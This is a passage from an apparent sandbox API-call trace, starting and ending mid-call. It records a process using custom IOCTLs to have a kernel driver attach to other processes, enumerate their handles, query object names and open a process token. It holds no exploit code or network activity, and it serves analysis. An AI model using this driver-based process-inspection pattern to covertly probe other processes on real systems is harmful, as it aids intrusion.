ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.508] ObfDereferenceObject (Object=0xfffffa800327bf20) returned 0x1 [0122.508] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.508] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.508] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.508] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.508] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.508] PsAcquireProcessExitSynchronization () returned 0x0 [0122.508] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0) [0122.508] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800327b2f0, HandleInformation=0x0) returned 0x0 [0122.508] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.508] PsReleaseProcessExitSynchronization () returned 0x2 [0122.508] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0122.508] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.508] ObfDereferenceObject (Object=0xfffffa800327b2f0) returned 0x1 [0122.508] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.508] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.508] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.508] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.509] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.509] PsAcquireProcessExitSynchronization () returned 0x0 [0122.509] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0) [0122.509] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.509] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.509] PsReleaseProcessExitSynchronization () returned 0x2 [0122.509] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0122.509] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0122.509] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.509] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.509] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.509] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.509] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.509] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.509] PsAcquireProcessExitSynchronization () returned 0x0 [0122.509] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0) [0122.509] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.509] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.509] PsReleaseProcessExitSynchronization () returned 0x2 [0122.509] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0122.509] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435550) returned 0x0 [0122.509] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.509] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.509] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.509] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.509] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.509] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.509] PsAcquireProcessExitSynchronization () returned 0x0 [0122.509] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0) [0122.509] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.509] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.509] PsReleaseProcessExitSynchronization () returned 0x2 [0122.509] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0122.510] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0122.510] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.510] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.510] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.510] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.510] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0122.510] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.510] PsAcquireProcessExitSynchronization () returned 0x0 [0122.510] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0) [0122.510] ObReferenceObjectByHandle (in: Handle=0x144, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80035087c0, HandleInformation=0x0) returned 0x0 [0122.510] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.510] PsReleaseProcessExitSynchronization () returned 0x2 [0122.510] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0122.510] ObQueryNameString (in: Object=0xfffffa80035087c0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435550) returned 0x0 [0122.510] ObfDereferenceObject (Object=0xfffffa80035087c0) returned 0xb [0122.510] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.510] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.510] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.510] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0122.510] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.510] PsAcquireProcessExitSynchronization () returned 0x0 [0122.510] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0) [0122.510] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001ab88f0, HandleInformation=0x0) returned 0x0 [0122.510] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.510] PsReleaseProcessExitSynchronization () returned 0x2 [0122.510] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0122.510] ObQueryNameString (in: Object=0xfffff8a001ab88f0, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.510] ObfDereferenceObject (Object=0xfffff8a001ab88f0) returned 0x2 [0122.510] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.510] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.510] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.510] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0122.511] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.511] PsAcquireProcessExitSynchronization () returned 0x0 [0122.511] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0) [0122.511] ObReferenceObjectByHandle (in: Handle=0x1ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800351aab0, HandleInformation=0x0) returned 0x0 [0122.511] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.511] PsReleaseProcessExitSynchronization () returned 0x2 [0122.511] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0122.511] ObQueryNameString (in: Object=0xfffffa800351aab0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.511] ObfDereferenceObject (Object=0xfffffa800351aab0) returned 0x1 [0122.511] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.511] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.511] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.511] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0122.511] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.511] PsAcquireProcessExitSynchronization () returned 0x0 [0122.511] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0) [0122.511] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003504d10, HandleInformation=0x0) returned 0x0 [0122.511] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.511] PsReleaseProcessExitSynchronization () returned 0x2 [0122.511] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0122.511] ObQueryNameString (in: Object=0xfffffa8003504d10, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.511] ObfDereferenceObject (Object=0xfffffa8003504d10) returned 0x11 [0122.511] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.511] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.512] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4c4) returned 0xc0 [0122.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.512] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002b78b30, HandleInformation=0x0) returned 0x0 [0122.512] ObOpenObjectByPointer (in: Object=0xfffffa8002b78b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800005e0) returned 0x0 [0122.512] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb6 [0122.512] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005e0, DesiredAccess=0x8, TokenHandle=0xfffffa80026f14c0 | out: TokenHandle=0xfffffa80026f14c0*=0xc8) returned 0x0 [0122.512] ZwClose (Handle=0xffffffff800005e0) returned 0x0 [0122.512] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.512] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.512] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.513] CloseHandle (hObject=0xc8) returned 1 [0122.513] CloseHandle (hObject=0xc0) returned 1 [0122.513] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.513] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0122.513] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.513] PsAcquireProcessExitSynchronization () returned 0x0 [0122.513] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.514] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800328c550, HandleInformation=0x0) returned 0x0 [0122.514] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.514] PsReleaseProcessExitSynchronization () returned 0x2 [0122.514] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.514] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.514] ObfDereferenceObject (Object=0xfffffa800328c550) returned 0x1 [0122.514] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.514] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.514] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.514] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.514] PsAcquireProcessExitSynchronization () returned 0x0 [0122.514] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.514] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800328d070, HandleInformation=0x0) returned 0x0 [0122.514] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.514] PsReleaseProcessExitSynchronization () returned 0x2 [0122.514] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.514] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.514] ObfDereferenceObject (Object=0xfffffa800328d070) returned 0x1 [0122.514] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.514] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.514] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0122.514] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.514] PsAcquireProcessExitSynchronization () returned 0x0 [0122.514] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.514] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003294510, HandleInformation=0x0) returned 0x0 [0122.514] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.515] PsReleaseProcessExitSynchronization () returned 0x2 [0122.515] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.515] ObQueryNameString (in: Object=0xfffffa80027af390, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.515] ObfDereferenceObject (Object=0xfffffa8003294510) returned 0x1 [0122.515] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.515] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.515] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0122.515] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.515] PsAcquireProcessExitSynchronization () returned 0x0 [0122.515] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.515] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032943c0, HandleInformation=0x0) returned 0x0 [0122.515] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.515] PsReleaseProcessExitSynchronization () returned 0x2 [0122.515] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.515] ObQueryNameString (in: Object=0xfffffa80027af390, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.515] ObfDereferenceObject (Object=0xfffffa80032943c0) returned 0x1 [0122.515] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.515] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.515] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0122.515] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.515] PsAcquireProcessExitSynchronization () returned 0x0 [0122.515] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.515] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003295070, HandleInformation=0x0) returned 0x0 [0122.515] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.515] PsReleaseProcessExitSynchronization () returned 0x2 [0122.515] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.515] ObQueryNameString (in: Object=0xfffffa80027ac060, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.515] ObfDereferenceObject (Object=0xfffffa8003295070) returned 0x1 [0122.515] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.515] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.515] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0122.515] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.515] PsAcquireProcessExitSynchronization () returned 0x0 [0122.516] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.516] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003295f20, HandleInformation=0x0) returned 0x0 [0122.516] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.516] PsReleaseProcessExitSynchronization () returned 0x2 [0122.516] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.516] ObQueryNameString (in: Object=0xfffffa80027b0c20, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.516] ObfDereferenceObject (Object=0xfffffa8003295f20) returned 0x1 [0122.516] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.516] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.516] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.516] DeviceIoControl (in: hDevice=0x7c, 